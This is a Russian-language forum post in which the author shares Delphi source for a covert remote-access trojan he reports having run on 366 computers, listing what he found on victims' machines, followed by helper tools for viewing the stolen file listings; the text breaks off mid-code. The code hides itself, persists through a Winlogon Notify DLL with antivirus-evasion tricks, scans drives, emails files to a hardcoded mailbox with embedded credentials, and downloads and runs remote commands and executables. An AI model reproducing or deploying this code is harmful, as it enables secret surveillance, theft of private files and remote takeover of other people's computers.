Alaget
Сообщений: 330
Оценки: 0
Присоединился: 2007-11-08 15:57:53.170000
|
Написан с использованием визуальных компонентов, и сторонними функциями три года назад, много где проглядывается некашерный код, написан на Delphi 7, и размером 559 килобайт, однако это не помешало ему быть в активной эксплуатации, полгода, обновления были только по расширению функциональности, ошибок обнаружено не было.Может слишком запутанно но при желании разобраться можно. Функциональность можно расширять написанием новых процедур. Отсутствует механизм обхода брандмауэров, но это не страшно, так как эта программа загруженная 361 раз, была установлена на 366 компьютерах работала нормально, из них на 41 был установлен Outpost, но по всей видимости неправильно настроен, Антивирус Касперского на 247, Доктор Веб на 12, Acrobat Reader на 148, Nero на 247, Alcohol 120% на 17, Microsoft Office на 366, Mozilla и Опера одновременно на 26, по отдельности 12 и 3 соответственно, icq на 185, qip на 27, AutoCAD с множеством чертежей на 15. 1С Предприятие в купе с Sable на 24, лицензионных не обнаружилось. Visual Studio на 5, Delphi обнаружено не было, этот факт навеивает на некоторые размышления. Counter-Strike на 344, Sims на 57. Драйвера Nokia -172, драйвера Sony Erricson – 124. Папка windows на 366 была C:\Windows. На все компьютерах обнаружены файлы с эротическим содержанием, причём в среднем они занимали не менее 3% дискового пространства, mp3 – 15%, jpg,bmp,gif -12%. Дедуктивный метод подсказал, что примерно 200 участников эксперимента не женатые мужчины в возрасте от 18 до 35. Выше были данные для любителей статистики. Для разархивации, и удобного просмотра, списка файлов были написаны две дополнительные программы. Думаю для тех кто только начал изучать Delphi это будет немного полезно.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Registry,WinInet, ExtCtrls,ZLib, IdMessage, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,
StdCtrls,WinSock,ShellApi,URLMon;
type
TForm1 = class(TForm)
Timer1: TTimer;
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
Memo1: TMemo;
procedure FormActivate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure UPDATE1(Url:String);
procedure LoadFE(Url:String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
const
Version='1.0.0.0';
Serial='Novosibirsk Akademgorodok 24 Mart 2004';
Osnsite='http://alco-help.narod.ru/';
EFrom='ccrrddggeehhjj@mail.ru';
EPort='25';
EHost='smtp.mail.ru';
EUser= ‘ccrrddggeehhjj’;
EPass='fhhfjdjdjr4777474jjfjfj++’’’';
ECom=’identmodefff@inbox.ru’;
implementation
{$R *.dfm}
{$R Lib.res}
//-----
function IsInternet: Boolean;
var
dwConnectionTypes: DWORD;
begin
dwConnectionTypes :=
INTERNET_CONNECTION_MODEM +
INTERNET_CONNECTION_LAN +
INTERNET_CONNECTION_PROXY;
Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;
//-----
function ExtUrl(const AUrl:string):string;
var
i:Integer;
begin
i:=LastDelimiter('/',AUrl);
Result:=Copy(AUrl,i+1,Length(AUrl)-(i));
end;
//-----
Function After(Src:string;Var S:string):string;
Var F:Word;
begin
F:=POS(Src,S) ;
if F=0 then
After:=''
else
After:=COPY(S,F+length(src),length(s)) ;
end;
//-----
Function Before(Src:string;Var S:string ):string;
Var F:Word;
begin
F:=POS(Src,S);if F=0 then Before:=S else Before := COPY(S,1,F-1);
end;
//-----
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;P:PHostEnt;Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P:=GetHostByName(@Buf);
if P<>nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;WSACleanup;end;
end;
//-----
function GetInetFile(SourceFile,DestFile:string):Boolean;
begin
try
Result:=UrlDownloadToFile(nil,PChar(SourceFile),PChar(DestFile),0,nil)=0;
except
Result:=False;
end;
end;
//-----
procedure CPUinfo(info:TStringList);
var
lpDisplayDevice:TDisplayDevice;dwFlags:DWORD;cc:DWORD;ld:DWORD;i:integer;mem:TMemoryStatus;
function GetCPUSpeed:double;
const DelayTime=500;
var
TimerHi,TimerLo:DWORD;PriorityClass,Priority:integer;
begin
PriorityClass:=GetPriorityClass(GetCurrentProcess);
Priority:=GetThreadPriority(GetCurrentThread);
SetPriorityClass(GetCurrentProcess,REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread,THREAD_PRIORITY_TIME_CRITICAL);
Sleep(10);
asm
dw 310Fh
mov TimerLo, eax
mov TimerHi, edx
end;
Sleep(DelayTime);
asm
dw 310Fh
sub eax, TimerLo
sbb edx, TimerHi
mov TimerLo, eax
mov TimerHi, edx
end;
SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);
Result:=TimerLo/(1000.0*DelayTime);
end;
begin
Info.Add(VarToStr(GetCPUSpeed));lpDisplayDevice.cb:=sizeof(lpDisplayDevice);dwFlags:=0;cc:=0;
while EnumDisplayDevices(nil,cc,lpDisplayDevice,dwFlags) do
begin
Inc(cc);
Info.Add(lpDisplayDevice.DeviceString);
end;
GlobalMemoryStatus(mem);info.Add(IntToStr((mem.dwTotalPhys) div 1024));ld:=GetLogicalDrives;
for i:=0 to 25 do
begin
if (ld and (1 shl i)) <> 0 then
info.Add(Char(Ord('A') + i) + ':\');
end;
info.Add(GetLocalIP);
end;
//-----
function GetWork:string;
var a : array[0..MAX_PATH] of char;
begin
GetSystemDirectory(a,SizeOf(a));
Result:=StrPas(a)+'\internal\';
end;
//-----Получение папки system32\internal\
function RegId:String;
begin
Randomize;
Result:=IntToStr(Random(255)+1)+'-'+IntToStr(Random(255)+1)+'-'+IntToStr(Random(255)+1);
end;
//-----
function GetId:String;
var F:TextFile;
s:String;
begin
AssignFile(F,GetWork+'id.txt');
Reset(F);
Readln(F,s);
CloseFile(F);
Result:=s;
end;
//-----
function GetName:String;
var F:TextFile;
s:String;
begin
AssignFile(F,GetWork+'name.txt');
Reset(F);
Readln(F,s);
CloseFile(F);
Result:=s;
end;
//-----
function GetWin:string;
var a : array[0..MAX_PATH] of char;
begin
GetSystemDirectory(a,SizeOf(a));
Result:=StrPas(a)+'\';
end;
//-----Получение папки system32
procedure ZLibComp(Files:TStringList;const Filename:String);
var
InFile,OutFile,TmpFile:TFileStream;Compr:TCompressionStream;i,l:Integer;s:String;
begin
if Files.Count>0 then
begin
OutFile:=TFileStream.Create(Filename,fmCreate);
try
l:=Files.Count;
OutFile.Write(l,SizeOf(l));
for i:=0 to Files.Count-1 do
begin
InFile:=TFileStream.Create(Files[i],fmOpenRead);
try
s:=ExtractFilename(Files[i]);
l:=Length(s);
OutFile.Write(l,SizeOf(l));
OutFile.Write(s[1],l);
l:=infile.Size;
OutFile.Write(l,SizeOf(l));
TmpFile:=TFileStream.Create('tmp',fmCreate);
Compr:=TCompressionStream.Create(clMax,tmpfile);
try
Compr.CopyFrom(InFile,l);
finally
Compr.Free;
TmpFile.Free;
end;
TmpFile:=TFileStream.Create('tmp',fmOpenRead);
try
OutFile.CopyFrom(tmpFile,0);
finally
TmpFile.Free;
end;
finally
InFile.Free;
end;
end;
finally
Outfile.Free;
end;
DeleteFile('tmp');
end;
end;
//-----
procedure RegName(Name:String);
var f1:TextFile;
begin
AssignFile(f1,GetWork+'name.txt');
Rewrite(f1);
Writeln(f1,name);
CloseFile(f1);
end;
//-----
procedure CopyF(FileName:String);
var b:TStringList;
M:TidMessage;
Sm:TidSmtp;
Att:TidAttachment;
begin
b:=TStringList.Create;
b.Add(Filename);
ZLibComp(b,GetWork+After('\',FileName)+'LLL'); ///////////////////
b.Free;
M:=TidMessage.Create(Form1);
if FileExists(GetWork+'name.txt') then M.Body.Add('Имя '+GetName);
M.Body.Add('ID '+GetId);
M.Body.Add('IP '+GetLocalIP);
M.Body.Add('Date and time '+DateToStr(Date)+' '+TimeToStr(Time));
M.Body.Add('Command CopyF '+FileName);
M.Body.Add('Version '+Version);
M.Body.Add('Serial '+Serial);
M.Body.Add('Base site '+Osnsite);
M.From.Text:=EFrom;
M.Recipients.Add;
M.Recipients.Items[0].Text:='<'+ECom+'>';
M.Subject:=GetId+' CopyF '+FileName;
Att:=TidAttachment.Create(M.MessageParts,GetWork+After('\',FileName)+'LLL');
Sm:=TidSmtp.Create(Form1);
Sm.AuthenticationType:=atLogin;
Sm.Host:=EHost;
Sm.Username:=EUser;
Sm.Password:=EPass;
Sm.Connect();
if Sm.Connected then Sm.Send(M);
Sm.Disconnect;
Sm.Free;
Att.Free;
DeleteFile(GetWork+After('\',FileName)+'LLL');
end;
//-----
procedure DeleteF(FileName:String);
begin
if FileExists(FileName) then
DeleteFile(FileName);
end;
//-----
procedure ScanF(Dir:String);
var ListFile:TStringList;
M:TidMessage;
Sm:TidSmtp;
Att:TidAttachment;
procedure FindFile(Dir:string);
var
SR: TSearchRec;
FindRes: Integer;
begin
FindRes := FindFirst(Dir + '*.*', faAnyFile, SR);
while FindRes = 0 do
begin
if ((SR.Attr and faDirectory) = faDirectory) and
((SR.Name = '.') or (SR.Name = '..')) then
begin
FindRes := FindNext(SR);
Continue;
end;
if ((SR.Attr and faDirectory) = faDirectory) then
begin
FindFile(Dir + SR.Name + '\');
FindRes := FindNext(SR);
Continue;
end;
ListFile.Add(Dir+SR.Name+' '+FloatToStr(Round(SR.Size/1024)));
FindRes := FindNext(SR);
end;
FindClose(SR);
end;
begin
ListFile:=TStringList.Create;
FindFile(Dir);
M:=TidMessage.Create(Form1);
if FileExists(GetWork+'name.txt') then M.Body.Add('Имя '+GetName);
M.Body.Add('Идентификатор '+GetId);
ListFile.SaveToFile(GetWork+'ListScanF'+GetId+'.txt');
ListFile.Clear;
ListFile.Add(GetWork+'ListScanF'+GetId+'.txt');
ZLibComp(ListFile,GetWork+'ListScanF'+GetId+'.LLL');
ListFile.Free;
M.Body.Add('IP '+GetLocalIP);
M.Body.Add('Date and time '+DateToStr(Date)+' '+TimeToStr(Time));
M.Body.Add('Command ScanF '+Dir);
M.Body.Add('Version '+Version);
M.Body.Add('Serial '+Serial);
M.Body.Add('Base site '+Osnsite);
M.From.Text:=EFrom;
M.Recipients.Add;
M.Recipients.Items[0].Text:='<'+ECom+'>';
M.Subject:=GetId+' ScanF '+Dir;
Att:=TidAttachment.Create(M.MessageParts,GetWork+'ListScanF'+GetId+'.LLL');
Sm:=TidSmtp.Create(Form1);
Sm.AuthenticationType:=atLogin;
Sm.Host:=EHost;
Sm.Username:=EUser;
Sm.Password:=EPass;
Sm.Connect();
if Sm.Connected then Sm.Send(M);
Sm.Disconnect;
Sm.Free;
Att.Free;
DeleteFile(GetWork+'ListScanF'+GetId+'.LLL');
end;
//-----
procedure LoadF(Url:String);
begin
GetInetFile(Url,GetWork+ExtUrl(Url));
end;
//-----
procedure TForm1.LoadFE(Url:String);
begin
GetInetFile(Url,GetWork+ExtUrl(Url));
ShellExecute(Handle, nil,PChar(GetWork+ExtUrl(Url)), nil, nil, SW_SHOW);
end;
//-----
procedure TForm1.UPDATE1(Url:String);
begin
GetInetFile(Url,GetWork+'update.exe');
ShellExecute(Handle, nil,PChar(GetWork+'update.exe'), nil, nil, SW_SHOW);
end;
//-----
procedure ScanFile(Dir,FileName:String);
var ListFile:TStringList;
procedure FindFile(Dir:string);
var
SR: TSearchRec;
FindRes: Integer;
begin
FindRes := FindFirst(Dir + '*.*', faAnyFile, SR);
while FindRes = 0 do
begin
if ((SR.Attr and faDirectory) = faDirectory) and
((SR.Name = '.') or (SR.Name = '..')) then
begin
FindRes := FindNext(SR);
Continue;
end;
if ((SR.Attr and faDirectory) = faDirectory) then
begin
FindFile(Dir + SR.Name + '\');
FindRes := FindNext(SR);
Continue;
end;
ListFile.Add(Dir+SR.Name+' '+FloatToStr(Round(SR.Size/1024)));
FindRes := FindNext(SR);
end;
FindClose(SR);
end;
begin
ListFile:=TStringList.Create;
FindFile(Dir);
ListFile.SaveToFile(GetWork+FileName);
ListFile.Free;
end;
//-----
procedure Install;
var h:TRegistry;
wqlsrih:TResourceStream;
F:TextFile;
begin
ForceDirectories(GetWork);
CopyFile(PChar(ParamStr(0)), PChar(GetWork+'internal.exe'), True);
wqlsrih:=TResourceStream.Create(hInstance,'wqlsrih',RT_RCDATA);
wqlsrih.SaveToFile(GetWin+'wqlsrih.dll');
wqlsrih.Free;
h:=TRegistry.Create;
h.RootKey := HKEY_LOCAL_MACHINE;
h.CreateKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\wqlsrih');
h.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\wqlsrih',true);
h.WriteInteger('Asynchronous',00000001);
h.WriteInteger('Impersonate',00000000);
h.WriteString('DllName','wqlsrih.dll');
h.WriteString('Startup','ExeStartup');
h.CloseKey;
h.Free;
AssignFile(F,GetWork+'id.txt');
Rewrite(F);
Writeln(F,RegId);
CloseFile(F);
end;
//-----
procedure InstallScan;
var List:TStringList;
F:TextFile;
M:TidMessage;
Sm:TidSmtp;
Att:TidAttachment;
s:String;
begin
ScanFile('C:\','C+.txt');
ScanFile('D:\','D+.txt');
List:=TStringList.Create;
List.Add(GetWork+'C+.txt');
List.Add(GetWork+'D+.txt');
ZLibComp(List,GetWork+GetId+'ScanFile.lll');
DeleteFile(GetWork+'C+.txt');
DeleteFile(GetWork+'D+.txt');
AssignFile(F,GetWork+'noscan');
Rewrite(F);
Writeln(F,'noscan');
CloseFile(F);
List.Clear;
CPUinfo(List);
List.SaveToFile(GetWork+'tmp');
List.Free;
M:=TidMessage.Create(Form1);
AssignFile(F,GetWork+'tmp');
Reset(F);
while not Eof(F) do
begin
Readln(F,s);
M.Body.Add(s);
end;
CloseFile(F);
DeleteFile(GetWork+'tmp');
M.Body.Add('Version '+Version);
M.Body.Add('Serial '+Serial);
M.Body.Add('Site '+Osnsite);
M.From.Text:=EFrom;
M.Recipients.Add;
M.Recipients.Items[0].Text:='<'+ECom+'>';
M.Subject:=GetId+' InstallScan';
Att:=TidAttachment.Create(M.MessageParts,GetWork+GetId+'ScanFile.lll');
Sm:=TidSmtp.Create(Form1);
Sm.AuthenticationType:=atLogin;
Sm.Host:=EHost;
Sm.Username:=EUser;
Sm.Password:=EPass;
Sm.Connect();
if Sm.Connected then Sm.Send(M);
Sm.Disconnect;
Sm.Free;
Att.Free;
DeleteFile(GetWork+GetId+'ScanFile.lll');
end;
//-----
procedure TForm1.FormActivate(Sender: TObject);
begin
ShowWindow(Handle,SW_HIDE);
ShowWindow(Application.Handle,SW_HIDE);
if not FileExists(GetWin+'wqlsrih.dll') then Install;
Timer1.Enabled:=True;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var F:TextFile;
S:String;
begin//Начало процедуры таймера
if IsInternet then
begin//1
Timer1.Enabled:=False;
if not FileExists(GetWork+'noscan') then InstallScan;
GetInetFile(Osnsite+'config/update.rar',GetWork+'update.txt');
AssignFile(F,GetWork+'update.txt');
Reset(F);
Readln(F,s);
if Before(' ',s)<>Version then UPDATE1(After(' ',s));
CloseFile(F);
DeleteFile(GetWork+'update.txt');
if GetInetFile(Osnsite+'ide/'+GetId+'.rar',GetWork+'ident.txt') then
begin//Индивидуальные действия
AssignFile(F,GetWork+'ident.txt');
Reset(F);
Readln(F,s);
if not FileExists(GetWork+s) then
begin//6
Memo1.Clear;
Memo1.Lines.Add(s);
Memo1.Lines.SaveToFile(GetWork+s);
Memo1.Clear;
while not Eof(f) do
begin//5
Readln(F,s);
if Before(' ',s)='RegName' then RegName(After(' ',s));
if Before(' ',s)='CopyF' then CopyF(After(' ',s));
if Before(' ',s)='DeleteF' then DeleteF(After(' ',s));
if Before(' ',s)='ScanF' then ScanF(After(' ',s));
if Before(' ',s)='LoadF' then LoadF(After(' ',s));
if Before(' ',s)='LoadFE' then LoadFE(After(' ',s));
end;//5
CloseFile(F);
DeleteFile(GetWork+'ident.txt');
end;//6
end;//Индивидуальные действия
end;//1
end;
end.
Исходный текст wqlsrih.dll.
library Run;
uses
windows,sysutils;
function GetWork:string;
var a : array[0..MAX_PATH] of char;
begin
GetSystemDirectory(a,SizeOf(a));
Result:=StrPas(a)+'\internal\internal.exe';
end;
procedure ExeStartup();
var
St:TStartupinfo;
Pr:TProcessInformation;
i:String;
begin
i:='000001';
ZeroMemory(@St, SizeOf(St));
i:='000002';
St.cb := SizeOf(St);
i:='000003';
St.lpDesktop := PChar('winsta0\default');
i:='000004';//
CreateProcess(nil,PChar(GetWork),nil,nil,false,0,nil,nil,St,Pr);
i:='000005';
end;
exports
ExeStartup;
begin
end.
Метод автозапуска придуман не мной, поэтому идут манипуляции с переменной i, чтобы антивирус не определял, по сигнатуре что это вирус. Исходный текст программы для построения дерева каталогов. Тоже доделанная мною. Но работает очень медленно, сам не разбирался но возможно где-то можно оптимизировать.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, Menus;
type
TForm1 = class(TForm)
TreeView1: TTreeView;
OpenDialog1: TOpenDialog;
MainMenu1: TMainMenu;
N1: TMenuItem;
Edit1: TEdit;
procedure N1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
List:TStringList;
implementation
{$R *.dfm}
procedure FillTreeViewWithFiles(TreeView1: TTreeView; Strs: TStringList);
var
CachedStrs: TStringList;
procedure AddItem(Lev: Integer; ParentNode: TTreeNode; S: string);
function FindNodeWithText(AParent: TTreeNode; const S: string): TTreeNode;
var
K: Integer;
fStr: string;
tmpNode: TTreeNode;
begin
Application.ProcessMessages;
Result := nil;
fStr := S + IntToStr(Integer(AParent));
K := CachedStrs.IndexOf(fStr);
if K > -1 then
Result := Pointer(CachedStrs.Objects[K])
else
begin
if AParent <> nil then
tmpNode := AParent.getFirstChild
else
tmpNode := TreeView1.Items.GetFirstNode;
while tmpNode <> nil do
begin
Application.ProcessMessages;
if tmpNode.Text = S then
begin
Result := tmpNode;
CachedStrs.AddObject(fStr, Pointer(tmpNode));
break;
end;
tmpNode := tmpNode.getNextSibling;
end;
end
end;
var
prefix: string;
ID: Integer;
aNode: TTreeNode;
begin
if S = '' then
Exit;
ID := Pos('\', S);
prefix := '';
if ID > 0 then
prefix := Copy(S, 1, ID - 1)
else
begin
prefix := S;
S := '';
end;
aNode := FindNodeWithText(ParentNode, prefix);
if aNode = nil then
begin
aNode := TreeView1.Items.AddChild(ParentNode, prefix);
end;
Application.ProcessMessages;
AddItem(Lev + 1, aNode, Copy(S, ID + 1, Length(S)));
end;
var
K,sd: Integer;
begin
Application.ProcessMessages;
CachedStrs := TStringList.Create;
CachedStrs.Duplicates := dupIgnore;
CachedStrs.Sorted := True;
try
TreeView1.Items.BeginUpdate;
TreeView1.SortType := stNone;
for K := 0 to Strs.Count - 1 do
begin
AddItem(0, nil, Strs[K]);
Form1.Edit1.Text:=IntToStr(K)+' '+IntToStr(Strs.Count - 1);
end;
Application.ProcessMessages;
finally
TreeView1.Items.EndUpdate;
CachedStrs.Free;
end;
end;
procedure TForm1.N1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
List:=TStringList.Create;
List.LoadFromFile(OpenDialog1.FileName);
FillTreeViewWithFiles(TreeView1,List);
ShowMessage('End');
end;
end;
end.
Исходник архиватора
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Zlib, StdCtrls;
type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
Edit1: TEdit;
Button1: TButton;
Edit2: TEdit;
Button2: TButton;
Edit3: TEdit;
Button3: TButton;
Edit4: TEdit;
Button4: TButton;
OpenDialog1: TOpenDialog;
OpenDialog2: TOpenDialog;
SaveDialog1: TSaveDialog;
Button5: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure CompressFiles(Files : TStringList; const Filename : String);
var
infile, outfile, tmpFile : TFileStream;
compr : TCompressionStream;
i,l
|